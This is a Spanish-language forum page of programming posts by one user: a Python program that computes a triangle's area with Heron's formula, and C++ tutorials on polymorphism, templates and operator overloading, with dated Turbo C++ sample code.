Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Dharok

#1
No es un gran aporte pero si a alguien le sirve.. le puede hechar una ojeada  :P
Saludos.

Código: python
# Made by : Dharok
# Programa para calcular el area de un triangulo conociendo solo sus vertices, se utiliza la formula de Herón
# Ingresa los puntos del plano cartesiano

from math import *
x1 = int(input("Ingrese X1: "))
y1 = int(input("Ingrese Y1: "))
x2 = int(input("Ingrese X2: "))
y2 = int(input("Ingrese Y2: "))
x3 = int(input("Ingrese X3: "))
y3 = int(input("Ingrese Y3: "))

#Calcula e imprime las longitudes de los lados utilizando la formula de distancia entre 2 puntos
print "Los puntos son:(",x1,",",y1,")(",x2,",",y2,")(",x3,",",y3,")"
a1 = (y2-y1)**2 + (x2-x1)**2
a = sqrt(a1)
b1 = (y3-y2)**2 + (x3-x2)**2
b = sqrt(b1)
c1 = (y3-y1)**2 + (x3-x1)**2
c = sqrt(c1)


print "La longitud del lado a es:",a
print "La longitud del lado b es:",b
print "La longitud del lado c es:",c

#Segun la formula de Herón para hallar el area de un triangulo conociendo solo sus lados es necesario el semiperimetro"

p = (a+b+c)/2.0

print "El semiperimetro es:",p

#Calculando el area

A1 = p*(p-a)*(p-b)*(p-c)
A = sqrt(A1)

print "El Area del tringulo es:",A

#Fin
#2
C / C++ / Poliformismo
Abril 21, 2010, 05:00:47 PM
Polimorfismo

Con las funciones virtuales y el polimorfismo es posible diseñar e implementar sistemas que con extensibles con mayor facilidad. Los programas se pueden escribir para que procesen objetos en forma genérica, como objetos de clase base de todas las clases existentes en una jerarquía. Las clases que no existen durante el desarrollo del programa se pueden agregar con poca o sin modificaciones a la parte genérica del programa, siempre y cuando esas clases sean parte de la jerarquía que está siendo procesada en forma genérica. Las únicas partes del programa que necesitarán modificaciones son aquellas que requieren un conocimiento directo de la clase particular que se está agregando a la jerarquía.

Funciones virtual


Si tenemos un conjunto de clases con las formas: Circle, Triangle, Rectangle, Square, que están derivadas de la clase base Shape. En la programación orientada a objetos a cada una de estas figuras se le podría dar la habilidad de dibujarse a sí misma. Aunque cada clase tiene su propia función draw, esta es bastante diferente en cada forma. Cuando se dibuja una forma sin importar el tipo, sería agradable tratar a todas esta formas genéricamente como objetos de la clase base Shape.
Luego, para dibujar cualquier forma podríamos llamar a la función draw de la clase base Shape y dejar que el programa determine dinámicamente (en tiempo de ejecución) cual función draw de la clase derivada se debe utilizar.

Para permitir este tipo de comportamiento declaramos a draw de la clase base como función virtual, y sobreponemos a draw en cada una de las clases derivadas para dibujar la forma adecuada.

Una función de este tipo se declara precediendo la palabra clave virtual, al prototipo de la función, en la definición de la clase, por ejemplo:
Código: text

virtual void draw();

Clases base abstractas y clases concretas.

Hay casos en los que es útil definir clases, para las cuales el programador nunca pretende instanciar ningún objeto. Tales clases se denomina clases abstractas. Debido a que estas se utilizan como clases base en situaciones de herencia, normalmente nos referimos a ellas como clases base abstractas. No es posible instanciar un objeto de una clase base abstracta.

El único propósito de una clase abstracta es proporcionar una clase base adecuada a partir de la cual las clases puedan heredar interfaces y/o implementaciones. Las clases de las que se pueden instanciar objetos se denomina clases concretas.

Por ejemplo, se puede tener una clase base abstracta TwoDimwensionalShape y derivar clases concretas tales como Cube, Sphere, Cylinder. Las clases base abstractas son demasiado genéricas como para definir objetos reales, y necesitamos ser mucho más específicos antes de que podamos pensar en instanciar objetos.

Para que una clase sea abstracta se debe declarar como "pura" una o más de sus funciones virtual. Una función virtual pura es aquella que tiene un inicializador = 0 en su declaración, por ejemplo:
Código: text
virtual float earningsO const = 0; 


Polimorfismo

C++ permite el polimorfismo, que es la habilidad de los objetos de diferentes clases que están relacionados mediante la herencia para responder en forma diferente al mismo mensaje (es decir, a la llamada de función miembro). El mismo mensaje que se envía a muchos tipos de objetos diferentes toma "muchas formas", y de ahí viene el término polimorfismo.

Por ejemplo, si la clase Rectangle se deriva de la clase Quadrilateral, un objeto Rectangle es una versión más específica de un objeto Quadrilateral. Una operación (como el cálculo del perímetro o el área) que puede realizarse en un objeto Quadrilateral también puede realizarse en un objeto Rectangle.

El polimorfismo se implementa por medio de funciones virtual.

Cuando se hace una petición por medio de un apuntador de clase base (o referencia) , para utilizar una función virtual, C++ elige la función sobrepuesta correcta en la clase derivada adecuada que está asociada con ese objeto. Hay muchas veces en que una función miembro no virtual está definida en la clase base y sobrepuesta en una clase derivada. Si a una función de estas se le llama mediante un apuntador de clase base al objeto de la clase derivada, se utiliza la versión de la clase base. Si la función miembro se llama mediante un apuntador de la clase derivada, se utiliza la versión de dicha clase derivada. Este comportamiento no es polimórfico.

Mediante el uso de funciones virtual y el polimorfismo, una llamada de función miembro puede causar que sucedan diferentes acciones, dependiendo del tipo de objeto que recibe la llamada. Esto le da una capacidad expresiva tremenda al programador.

El polimorfismo promueve la extensibilidad: el software que está escrito para llamar al comportamiento polimórfico se escribe en forma independiente de los tipos de objetos a los cuales se envían los mensajes. Por lo tanto los nuevos tipos de objetos que pueden responder a los mensajes existentes se pueden agregar a un sistemas, sin modificar el sistema base.

Un ejemplo concreto

El enunciado del programa sería el siguiente:

Definir una clase Shape que sea una clase base abstracta que contenga la interfaz hacia la jerarquía. Derive a TwoDimensionalShape y ThreeDimensionalShape de la clase Shape, que también serán abstractas. Utilice una función print virtual para enviar a la salida el tipo y dimensiones de cada figura. También incluye funciones virtual area y volume para que estos cálculos puedan realizarse para los objetos de cada clase concreta de la jerarquía.
Escriba un programa controlador que pruebe la jerarquía de la clase Shape.

Y la solución...
Código: cpp
#include <iostream.h>
#include <math.h>
#include <conio.h>

// clase Shape

class Shape {
      public:
         virtual double area() const { return 0.0; }
         virtual double volume() const { return 0.0; }

         // funcion virtual pura sobrepuesta en las clases derivadas
         virtual void print() const=0;
};

////////////////////////////////
// clase TwoDimensionalShape ///
////////////////////////////////

class TwoDimensionalShape : public Shape {
      public:
         virtual void print () const=0;
};

// clase triangulo
class triangulo : public TwoDimensionalShape {
      double lado1, lado2, lado3;
      public:
         triangulo (double=0.0, double=0.0, double=0.0);
         void fijar_triangulo(double, double, double);
         virtual double area() const;
         virtual void print() const;
};

triangulo :: triangulo (double l1, double l2, double l3){
      fijar_triangulo(l1,l2,l3);
}

void triangulo :: fijar_triangulo  (double l1, double l2, double l3){
      lado1= l1 > 0 ? l1 : 0;
      lado2= l2 > 0 ? l2 : 0;
      lado3= l3 > 0 ? l3 : 0;
}

double triangulo :: area () const {
      double s;
      s=(lado1+lado2+lado3)/2;

      return sqrt(s*(s-lado1)*(s-lado2)*(s-lado3));
}

void triangulo :: print () const {
      cout << endl << "Triangulo" << endl
      << "Lado 1= " << lado1 << endl
      << "Lado 2= " << lado2 << endl
      << "Lado 3= " << lado3;
}

// clase cuadrado
class cuadrado : public TwoDimensionalShape {
      double lado;
      public:
         cuadrado (double=0.0);
         void fijar_cuadrado(double);
         virtual double area() const;
         virtual void print() const;
};

cuadrado :: cuadrado (double l) {
      fijar_cuadrado(l);
}

void cuadrado :: fijar_cuadrado (double l){
      lado= l>0 ? l : 0;
}

double cuadrado :: area () const {
      return lado*lado;
}

void cuadrado :: print() const {
      cout << endl << "Cuadrado" << endl
            <<"Lado= " << lado;
}

////////////////////////////////
// clase ThreeDimensionalShape /
////////////////////////////////

class ThreeDimensionalShape : public Shape {
      public:
         virtual void print () const=0;
};

// clase cubo
class cubo : public ThreeDimensionalShape {
      double lado;
      public:
         cubo(double=0.0);
         void fijar_cubo(double);
         virtual double area() const;
         virtual double volume() const;
         virtual void print() const;
};

cubo :: cubo (double l){
      fijar_cubo(l);
}

void cubo :: fijar_cubo (double l){
      lado= l>0 ? l : 0;
}

double cubo :: area () const {
      return 6*lado*lado;
}

double cubo :: volume () const {
      return lado*lado*lado;
}

void cubo :: print() const{
      cout << endl << "Cubo" << endl
            <<"Lado= " << lado;
};

// clase paralelepipedo
class paralelepipedo : public ThreeDimensionalShape {
      double largo, ancho, altura;
      public:
         paralelepipedo(double=0.0, double=0.0, double=0.0);
         void fijar_paralelepipedo(double, double, double);
         virtual double area() const;
         virtual double volume() const;
         virtual void print() const;
};

paralelepipedo :: paralelepipedo (double l, double a, double h){
      fijar_paralelepipedo(l,a,h);
}

void paralelepipedo :: fijar_paralelepipedo (double l, double a, double h){
      largo= l>0 ? l : 0;
      ancho= a>0 ? a : 0;
      altura= h>0 ? h : 0;
}

double paralelepipedo :: area () const {
      return 2*largo*ancho + 4*ancho*altura;
}

double paralelepipedo :: volume () const {
      return largo*ancho*altura;
}

void paralelepipedo :: print() const{
      cout << endl <<"Paralelep¡pedo" << endl
            <<"Largo= " << largo << endl
            <<"Ancho= " << ancho << endl
           <<"Altura= " << altura;
}

// llama a funcion virtual a partir del apuntador de clase base
// utilizando enlace dinamico
void virtualViaPointer (const Shape* baseClassPtr){
      baseClassPtr->print();
      cout << endl <<"Area= " << baseClassPtr->area() << endl
            <<"Volumen= " << baseClassPtr->volume() << endl;
}

// llama a funcion virtual a partir de referencia a clase base
// utilizando enlace dinamico
void virtualViaReference (const Shape& baseClassRef){
      baseClassRef.print();
      cout << endl <<"Area= " << baseClassRef.area() << endl
            <<"Volumen= " << baseClassRef.volume() << endl;
}

// funcion principal
void main(){
      clrscr();
      triangulo t(5.2,6.5,7.1);
      virtualViaPointer (& t);
      virtualViaReference (t);

      cuadrado c(8.7);
      virtualViaPointer (&c);
      virtualViaReference (c);

      getch();
      clrscr();

      cubo cub(8.3);
      virtualViaPointer (&cub);
      virtualViaReference (cub);

      paralelepipedo p(4.5,6.7,9.2);
      virtualViaPointer (&p);
      virtualViaReference (p);

      getch();
}
#3
C / C++ / Plantillas en C++
Abril 21, 2010, 04:45:13 PM
Plantillas en C++

Las plantillas nos permiten especificar, con un solo segmento de código, un rango completo de funciones relacionadas (sobrecargadas), llamadas funciones de plantilla, o un rango completo de clases relacionadas, llamadas clases de plantilla.

Podríamos escribir una sola plantilla de función para una función de ordenamiento de arreglos y luego hacer que C++ generara automáticamente funciones de plantilla separadas que ordenaran un arreglo de int, un arreglo de float, un arreglo de string, etc.

Podríamos escribir una sola plantilla de clase de pila y luego hacer que C++ generara automáticamente clases de plantillas separadas, tales como una clase de pila de int, una clase de pila de float, una clase de pila de string, etc.

Hay que observar la diferencia entre las plantillas de función y las funciones de plantilla: las plantillas de función y las plantillas de clase son como plantillas con las cuales trazamos formas, y las funciones de plantilla y las clases de plantilla son como los trazos separados, que tienen la misma forma pero pueden trazarse en colores diferentes, por ejemplo.

Plantillas de función

Las funciones sobrecargadas se utilizan normalmente para realizar operaciones similares sobre diferentes tipos de datos. Si las operaciones son idénticas para cada tipo, esto puede realizarse en forma más compacta y conveniente mediante el uso de plantillas de función. Basándose en los tipos de argumento que se proporcionan en las llamadas a esa función, el compilador genera automáticamente funciones de código objeto separadas para manejar adecuadamente cada tipo de llamada. En C esta tarea se puede realizar mediante macros creadas con la directiva de preprocesador #define.

Sin embargo las macros presentan la posibilidad de serios efectos secundarios y no permiten que el compilador realice revisión de tipo. Las plantillas de función proporcionan una solución compacta similar a la de las macros, pero permiten una revisión de tipo completa. Todas las definiciones de plantillas de función comienzan con la palabra clave témplate, seguida de una lista de parámetros formales para dicha plantilla encerrados entre paréntesis angulares (< y >), cada parámetro formal que representa un tipo debe estar precedido por la palabra clave class, como en:
Código: text
template <class T>
template <class Element Type>
template <class BorderType, class FillType>

Los parámetros formales de una definición de plantilla se utilizan (como sucedería con los argumentos de tipos integrados o de tipos definidos por el usuario) para especificar los tipos de argumentos de la función, para especificar el tipo de devolución de la función y para declarar variables en el interior de la función.

Para definir una plantillas de clase, se puede usar el siguiente formato:
Código: text
template <class T>
class Nombre { . . .uso del parámetro T en funciones o datos miembro.. }


Primer programa


El siguiente programa hace uso de plantillas para determinar el mínimo y máximo valor de un arreglo de elementos dado.
La primera función recibe tiene como parámetros un puntero al tipo de elemento dado y el número de elementos y retorna el menor de los elementos que se encuentran en el arreglo.
La segunda función recibe los mismos parámetros y retorna el mayor de los elementos presentes en el arreglo.
Finalmente en la función main, se hace una prueba de estas funciones, con arreglos de enteros y flotantes.
Código: cpp
#include <iostream.h> 
#include <conio.h>

template <class T>
T minimo (T * Array, int num_elemen)
{
   T min= Array [0] ;

   for (int i=1; i< num_elemen; i++)
        if( Array[ i ] < min)
            min = Array [ i ];

   return min;
} ;

template <class T>
T maximo (T * Array, int num_elemen)
{
   T max= Array [0];

   for (int i=1; i< num_elemen; i++)
        if( Array[ i ] > max)
            max = Array [ i ];

   return max;
};

void main(void)
{
   int ArrayInt [3] = { 2, 8, 6};
   float ArrayFloat [3] = { 12.1, 8.7, 5.6 };
   int i;
   
   cout<<"Arreglo de enteros: ";
   for (i=0; i<3; i++)
         cout << ArrayInt[ i ] << " ";

   cout << endl << "Numero minimo: " << minimo (ArrayInt, 3) << endl
         <<"Numero maximo: " << maximo (ArrayInt, 3) << endl << endl;

   cout << "Arreglo de flotantes: ";
   for (i=0; i<3; i++)
        cout << ArrayFloat[ i ] << " ";
        cout << endl <<"Numero minimo: " << minimo (ArrayFloat, 3) << endl
               <<"Numero maximo: " << maximo (ArrayFloat, 3);

   getch();
}

Segundo programa

En este programa se hace uso de plantillas, para elaborar una función que permita ordenar los elementos de un arreglo.
Esta función recibe tiene como parámetros, un puntero al tipo de elemento dado, y dos enteros que indican los índices del primero y último elemento.
Aquí se hace uso del algoritmo OrdenarShell para llevar a cabo la tarea. En la función principal se prueba esta plantilla con arreglos de enteros y flotantes.
Código: cpp
#include <iostream.h>
#include <conio.h>

template <class T>
void Ordenar ( T * a, int st, int fn)
{
   int i, j , k;
   T item_a_ordenar;

   k = 1 ;

   do
   {
       k= 3 * k + 1;
    } while (k < fn - st + 1) ;

   do
   {
       k /= 3 ;

       for (i= st+k; i<=fn; i++)
       {
             item_a_ordenar = a [ i ] ;
             j = i ;

            while (item_a_ordenar < a [ j-k])
            {
               a [ j] =a [ j-k] ;
               j -=k;

               if(j < st+k)
                 break;
            }

            a [j]=item_a_ordenar;
        }
   } while(k > 1);
}

void main(void)
{
    int Arraylnt[3] = { 2, 3, 1 } ;
    float ArrayFloat[3] = {25.0, 3.0, 45.2 } ;
    int i ;

    cout << "Enteros: " << endl
          << "Arreglo original: ";

    for (i=0; i<3; i++)
          cout << Arraylnt[ i ] << " ";

    Ordenar(Arraylnt, 0, 2);
    cout << endl << "Luego de ordenar: ";

    for (i=0; i<3; i++)
          cout << Arraylnt[ i ] << " ";


    cout << endl << endl
          << "Flotantes: " << endl
          << "Arreglo original: ";

    for (i=0; i<3; i++)
          cout << ArrayFloat[ i ] << " ";

    Ordenar(ArrayFloat, 0, 2);
    cout << endl << "Luego de ordenar: ";

    for (i=0; i<3; i++)
          cout << ArrayFloat[ i ] << " ";


    getch() ;
}

Tercer programa

En este programa se implementa, mediante el uso de plantillas la clase NuevaPila, que consiste en una Pila, en la que se pueden llevar a cabo las operaciones como insertar y eliminar datos de la misma, mostrar en pantalla los datos de la pila.

Esta es una pila estática, con un número predefinido de 10 elementos.
En al función principal, se usa una pila de enteros, flotantes y
caracteres para poder llevar a cabo una prueba de la plantilla creada.
Código: cpp
#include <iostream.h>
#include <conio.h>

enum estado_pila { OK, LLENA, VACIA };

template <class T>
class NuevaPila
{
   int tamanyo;
   T *tabla;
   int cima;
   estado_pila estado;

   public:
             NuevaPila(int =10);
             ~NuevaPila() { delete [] tabla; }
             void meter (T);
             T sacar ();
             void visualizar ();
             int num_elementos ();
             int leer_tamanyo () { return tamanyo; }
}

template <class T>
NuevaPila <T> :: NuevaPila (int tam)
{
   tamanyo=tam;
   tabla= new T [tamanyo] ;
   cima=0;
   estado=VACIA;
}

template <class T>
void NuevaPila <T> :: meter (T elemento)
{
   if( estado!=LLENA)
       tabla [cima++]=elemento;
    else cout << "*** Pila llena ***";

    if(cima>=tamanyo)
       estado=LLENA;
    else
       estado=OK;
}

template <class T>
T NuevaPila <T> :: sacar ()
{
   T elemento=0;

   if(estado!=VACIA)
      elemento=tabla[--cima];
   else cout<<"*** Pila vac¡a ***";

   if(cima<=0)
      estado=VACIA;
   else
      estado=OK;

   return elemento;
}

template <class T>
void NuevaPila <T> :: visualizar ()
{
   for (int i=cima-1; i >=0; i--)
        cout << tabla[ i ] <<" ";
}

template <class T>
int NuevaPila <T> :: num_elementos ()
{
   return cima;
}

void main()
{
   cout << "Probando pila de enteros";

   NuevaPila <int> s1 (5);
   s1.meter(5);
   s1.meter(10);
   s1.meter(15);

   cout << endl << "Numero de elementos: " << s1.num_elementos() << endl <<"Pila: "; 
   s1.visualizar();

   cout << endl << "Sacando elementos : "
          << s1.sacar() <<" " << s1.sacar() << " " << s1.sacar() << endl;
   s1.sacar();

   cout << endl << endl << "Probando pila de flotantes";
   NuevaPila <float> s2 (5);
   s2.meter(7.5);
   s2.meter(10.2);
   s2.meter(15.3);

   cout << endl << "Numero de elementos: " << s2.num_elementos() << endl
         <<"Pila: ";
   s2.visualizar();
   cout << endl << "Sacando elementos : "
           << s2.sacar() << " " << s2.sacar() << " " << s2.sacar() << endl;
   s2.sacar ();

   cout << endl << endl << "Probando pila de caracteres";
   NuevaPila <char> s3 (5);
   s3.meter('m');
   s3.meter('p');
   s3.meter('s');

   cout << endl << "Numero de elementos: " << s3.num_elementos() << endl <<"Pila: ";
    s3.visualizar();
    cout << endl << "Sacando elementos : "
          << s3.sacar () << " " << s3.sacar() << " " << s3.sacar() << endl;
   s3.sacar();


   getch();
}

Cuarto ejemplo

Mediante el uso de plantillas cree una clase Cola, en la que se puedan llevar a cabo operaciones como: encolar, decolar e imprimir los datos miembro. Realice una función controladora para probar el uso de esta clase.
La clase NodoCola, tiene como amiga a la clase Cola.
Se presenta además una función para las opciones del usuario, y que se encarga de realizar las llamadas a las funciones de las clases. Esta
función es llamada desde main.
En la función main se ha usado como ejemplo una cola de enteros, aunque también se pudo haber usado otro tipo de datos como: char, double, y otros.
Código: cpp
#include <iostream.h>
#include <conio.h>
#include <assert.h>

template <class TIPONODO>
class Cola;

///////////////////////////////////
// definicion clase NodoCola /////
//////////////////////////////////

template <class TIPONODO>
class NodoCola {
      TIPONODO dato;                         // dato
      NodoCola <TIPONODO> * sig;             // puntero siguiente nodo
      public:
         NodoCola (const TIPONODO &);    // constructor
         TIPONODO getDato() const;       // devuelve dato del nodo

      friend class Cola <TIPONODO>;          // hace que Cola sea friend
};

// constructor
template <class TIPONODO>
NodoCola <TIPONODO> :: NodoCola (const TIPONODO & info)
     : dato(info), sig (0) { }

// devuelve una copia del dato que esta en el nodo
template <class TIPONODO>
TIPONODO NodoCola <TIPONODO> :: getDato() const {
     return dato;
}

// definicion enumeracion //
enum bool { false, true };

//////////////////////////////////
// definicion clase Cola /////////
//////////////////////////////////

template <class TIPONODO>
class Cola {
      NodoCola <TIPONODO> * primero;          // puntero al primer nodo
      NodoCola <TIPONODO> * ultimo;           // puntero al ultimo nodo
      public:
         Cola ();                         // constructor
         ~Cola();                         // destructor
         void encolar (const TIPONODO &); // permite insertar nodo
         bool decolar (TIPONODO &);       // permite eliminar nodo
         bool estaVacia() const;          // verifica si la cola esta vacia
         void imprimir() const;              // imprime datos de la cola

      // funci¢n de utileria para asignar un nuevo nodo
      NodoCola <TIPONODO> * getNuevoNodo (const TIPONODO &);
};

// constructor predeterminado
template <class TIPONODO>
Cola <TIPONODO> :: Cola (): primero(0), ultimo(0) { }

// destructor
template <class TIPONODO>
Cola <TIPONODO> :: ~Cola () {
     if( !estaVacia() ) {         // ingresa si la cola no esta vacia
    cout<<"Eliminando nodos ..." << endl;

    NodoCola <TIPONODO> * actual = primero, *temporal;

    while (actual != 0) {     // borra los nodos restantes
           temporal = actual;
           cout<< temporal->dato << endl;
           actual = actual->sig;
           delete temporal;
    }
     }
     cout << "Todos los nodos han sido eliminados" << endl << endl;
}

// inserta un nodo
template <class TIPONODO>
void Cola <TIPONODO> :: encolar (const TIPONODO & valor) {
     NodoCola <TIPONODO> * nuevo = getNuevoNodo (valor);

     if ( estaVacia() )                // si la cola esta vacia
    primero=ultimo=nuevo;

     else {                           // si la cola no esta vacia
       ultimo->sig=nuevo;
       ultimo=nuevo;
     }
}

// elimina un nodo
template <class TIPONODO>
bool Cola <TIPONODO> :: decolar (TIPONODO & valor) {
     if( estaVacia() )                // la cola esta vacia
     return false;                // eliminacion no satisfactoria

     NodoCola <TIPONODO> *temporal = primero;

     if(primero==ultimo)
    primero=ultimo=0;

     else
      primero=temporal->sig;

     valor=temporal->dato;            // dato que se esta eliminando
     delete temporal;
     return true;                     // eliminacion satisfactoria
}

// verifica si la cola esta vacia
template <class TIPONODO>
bool Cola <TIPONODO> :: estaVacia () const {
     if (primero==0) return true;
     return false;
}

// imprime el contenido de la cola
template <class TIPONODO>
void Cola <TIPONODO> :: imprimir() const {
     if ( estaVacia() ) {
     cout<<"La lista esta vacia" << endl << endl;
     return;
     }

     NodoCola <TIPONODO> *actual = primero;

     cout<<"La cola es: ";

     while (actual!=0) {
        cout<< actual->dato <<" ";
        actual=actual->sig;
     }

     cout << endl << endl;
}

// funcion de utileria: devuelve un apuntador a un nodo recientemente asignado
template <class TIPONODO>
NodoCola <TIPONODO> * Cola <TIPONODO> :: getNuevoNodo (const TIPONODO & valor) {
     NodoCola <TIPONODO> * nuevo = new NodoCola <TIPONODO> (valor);
     assert(nuevo!=0);
     return nuevo;
}

/////////////////////////////////////////////////////////////////////////////

// funcion que prueba una cola
template <class T>
void probarCola ( Cola <T> & ObjetoCola) {

     T valor;
     int opcion;

     for (;;){
           cout<<endl<<"(1) Insertar, (2) Eliminar, (3) Imprimir, (4) Salir"<<endl;
           cout<<"Seleccion: ";
           cin>>opcion;

           switch( opcion ){
              case 1:
                 cout<<"Ingrese dato: ";
                 cin>> valor;
                 ObjetoCola.encolar(valor);
                 break;

              case 2:
                 if(ObjetoCola.decolar(valor))
                cout<<"Dato " << valor <<" eliminado" << endl << endl;

                 else cout<<"No puede eliminar : la cola esta vacia" << endl << endl;

                 break;

              case 3:
                 ObjetoCola.imprimir();
                 break;
           }
           if(opcion==4) break;
     }
}

// funcion principal
void main(){
     clrscr();
     Cola <int> ColaEnteros;
     probarCola (ColaEnteros);

}
#4
C / C++ / Sobrecarga de Operadores en C++
Abril 21, 2010, 04:35:29 PM
La sobrecarga de operadores, aunque puede ser una capacidad exótica, la mayoría de personas las usa implícita y regularmente se valen de los operadores sobrecargados.

Por ejemplo, el operador de suma (+) funciona de manera diferente sobre los enteros, puntos flotantes y dobles. No obstante dicho operador funciona muy bien con las variables int, float y double y varios otros tipos integrados han sido sobrecargados por el propio lenguaje C++.

Los operadores se sobrecargan escribiendo una definición de función (con su encabezado y cuerpo) de manera habitual, excepto que el nombre de la función ahora se vuelve la palabra clave operator, seguida por el símbolo del operador que se sobrecarga. Por ejemplo el nombre de la función operator+ sirve para sobrecargar el operador de suma (+).

Para utilizar un operador sobre objetos de una clase, dicho operador debe ser sobrecargado, con dos excepciones: el operador de asignación (=) puede utilizarse con cualquier clase, sin sobrecarga explícita.

El comportamiento predeterminado del operador (=) es una asignación a nivel de miembros de los datos miembro de la clase. El operador de dirección (&) también puede utilizarse sin sobrecarga con objetos de cualquier clase, simplemente devuelve la dirección de memoria del objeto.

La sobrecarga de operadores no es automática; el programador debe escribir funciones de sobrecarga de operadores que realicen las operaciones deseadas. A veces conviene que estas funciones se hagan funciones miembro, en otras ocasiones conviene que sean funciones friend, ocasionalmente puede hacerse funciones no miembro, no friend.

Es posible llegar a los extremos de la sobrecarga, como sobrecarga, como sobrecargar el operador + para que realice operaciones tipo resta. Tales empleos de la sobrecarga hace que sea muy difícil entender el programa.

Una lista de operadores que pueden o no sobrecargarse es la siguiente:

Operadores que pueden sobrecargarse

+          -          *          /         %         ^       ^&   |
-          !          =         <          >         +=        -=   *=
/=       %=         A=         &=         !=        <<        >>    >>=
<<=        ==         !=         <=         >=        &&         ||   ++
--      ->*           '         ->         [ ]        ( )       new   delete
new [ ]     delete []                  


Operadores que NO pueden sobrecargarse

.   .*   ::   ?:   sizeof


Los operadores &, *, + y - tiene versiones unarias y binarias, estas versiones unarias y binarias se pueden sobrecargar por separado.

No es posible crear nuevos operadores; sólo se pueden sobrecargar los operadores existentes, esto desgraciadamente, evita que el programador use notaciones como ** como en BASIC para la exponenciación.

La sobrecarga de un operador de asignación y de uno de suma para permitir instrucciones como:
Código: text
obj eto2=obj eto2+obj eto1; 


no implica que el operador += también este sobrecargado para permitir instrucciones como:
Código: text
obj eto2 +=obj eto1; 


tal comportamiento puede lograrse explícitamente sobrecargando el operador += de dicha clase.

La funciones de operador pueden ser funciones miembro o funciones no miembro, estas últimas con frecuencia se hacen friend por razones de desempeño. Las funciones miembro utilizan implícitamente el operador this para obtener uno de los argumentos de su objeto de clase.

Tal argumento de función puede debe listarse explícitamente en una llamada de función no miembro.

Cuando una función de operador se implemente como función miembro, el operador de la izquierda (o el único) debe ser un objeto de clase (o una referencia a un objeto de clase) de la clase del operador. Si el operador de la izquierda debe ser un objeto de una clase diferente o un tipo integrado, esta función operador debe implementarse como función no miembro.

Una función de operador no miembro debe ser friend si necesita acceder directamente a miembros prívate o protected la clase.
Las funciones miembro de los operadores de una clase específica se llaman sólo cuando el operando de la izquierda de un operador binario específicamente es un objeto de esa clase, o cuando el operando de un operador unario es un objeto de esa clase.

Ejemplo

Creación de una clase string y sobrecarga de la mayoría de sus operadores.
Código: cpp
#include<iostream.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<assert.h>

enum bool { false, true };

class string {
      int size;
      char *ptr;
      public:
         string (char []="");    //constructor predeterminado
         string (string &);     //constructor por copia
         ~string();             //destructor
         string & operator= (string &);   //asignaci¢n
         bool operator== (string &);      //prueba si s1=s2
         bool operator!= (string &);      //prueba si s1!=s2
         bool operator! ();               //prueba si string esta vacia
         bool operator< (string &);       //prueba si s1<s2
         bool operator> (string &);       //prueba si s1>s2
         bool operator<= (string &);      //prueba si s1<=s2
         bool operator>= (string &);      //prueba si s1>=s2
         string & operator+= (string &);  //concatenaci¢n
         char operator[] (int);           //operador de sub¡ndice
         string operator() (int, int);    //devuelve una subcadena
         int longitud (void);             //devuelve longitud de la cadena

         friend ostream & operator<< (ostream &, string &);
         friend istream & operator>> (istream &, string &);

};

string :: string (char * cadena){
      size=strlen(cadena);
      ptr=new char[size+1];
      if(ptr==NULL){ cout<<"No hay memoria"; exit(0); }
      strcpy(ptr, cadena);
}

string :: string (string & copia){
      size=strlen(copia.ptr);
      ptr=new char[size+1];
      if(ptr==NULL){ cout<<"No hay memoria"; exit(0); }
      strcpy(ptr, copia.ptr);
}

string :: ~string(){
      delete [] ptr;
}

string & string :: operator= (string & s){
      if(&s != this){          //evita la autoasignaci¢n
     delete [] ptr;        //evita fugas de memoria
     size=s.size;
     ptr=new char[size+1];
     strcpy(ptr, s.ptr);
      }
      else cout<<"Intento de asignar un objeto a si mismo";

      return (*this);          //habilita asignaciones en cascada
}

bool string :: operator== (string & s){
      if(!strcmp(ptr, s.ptr)) return (true);
      return (false);
}

bool string :: operator!= (string & s){
      if(!(*this==s)) return(true);    //usa sobrecarga de ==
      return(false);
}

bool string :: operator! (){
      if (size==0) return true;
      return false;
}

bool string :: operator< (string & s){
      if (strcmp(ptr, s.ptr)< 0) return true;
      return false;
}

bool string ::  operator> (string & s){
      if (s < *this) return true;
      return false;
}

bool string :: operator<= (string & s){
      if( !( s < *this) ) return true;
      return false;
}

bool string :: operator>= (string & s){
      if( !(s > *this) ) return true;
      return false;
}

string & string :: operator+= (string & s){
      char *temps=ptr;
      size+=s.size;
      ptr=new char[size+1];
      if(ptr==NULL){ cout<<"No hay memoria"; exit(0); }
      strcpy(ptr, temps);
      strcat(ptr, s.ptr);
      delete [] temps;
      return (*this);           //habilita llamadas en cascada
}

char string :: operator[] (int num){
      assert(num>=0 && num<size);   //prueba si num est  en el rango
      return (ptr[num]);
}

//Devuelve subcadena que comienza en: inicio y de longitud: subsize
string string :: operator() (int inicio, int subsize){
   //asegura que inicio este en el rango y que subsize sea >=0
      assert(inicio>=0 && inicio<size && subsize >=0);

      string *subptr= new string;      //string vac¡a
      if(subptr==0){ cout<<"No hay memoria"; exit(0); }

      //determina la longitud de la subcadena
      if((subsize==0) || (inicio+ subsize> size))
      subptr->size= size- inicio+ 1;
      else
      subptr->size= subsize+1;

      //asigna memoria para la subcadena
      delete subptr->ptr;        //borra el arreglo de caract,res
      subptr->ptr= new char[subsize];
      if(subptr->ptr==NULL){ cout<<"No hay memoria"; exit(0); }

      //copia la subcadena a la nueva string
      strncpy(subptr->ptr, & ptr[inicio], subptr->size);
      subptr->ptr[subptr->size]='\0';    //termina string

      return (*subptr);   //devuelve la nueva string
}

int string :: longitud (void){
      return (size);
}

ostream & operator<< (ostream & salida, string & s){
      salida<< s.ptr;
      return (salida);    //habilita el proceso en cascada
}

istream & operator>> (istream & entrada, string & s){
      entrada>> s.ptr;
      return (entrada);   //habilita proceso en cascada
}

void main(void){
     textcolor(BLACK);
     textbackground(WHITE);
     clrscr();
     string s1("hola"), s2(" amigos"), s3;


     //probando operadores de igualdad y relacionales
     cout<<"s1: " <<s1 <<" , s2: " <<s2  <<" , s3: " <<s3;

     cout<<endl<<endl<<"Resultados al comparar s1 y s2: "
     <<endl<<"Resultado de s1==s2: " << (s1==s2 ? "verdadero" : "falso")
     <<endl<<"Resultado de s1!=s2: " << (s1!=s2 ? "verdadero" : "falso")
     <<endl<<"Resultado de s1> s2: " << (s1> s2 ? "verdadero" : "falso")
     <<endl<<"Resultado de s1< s2: " << (s1< s2 ? "verdadero" : "falso")
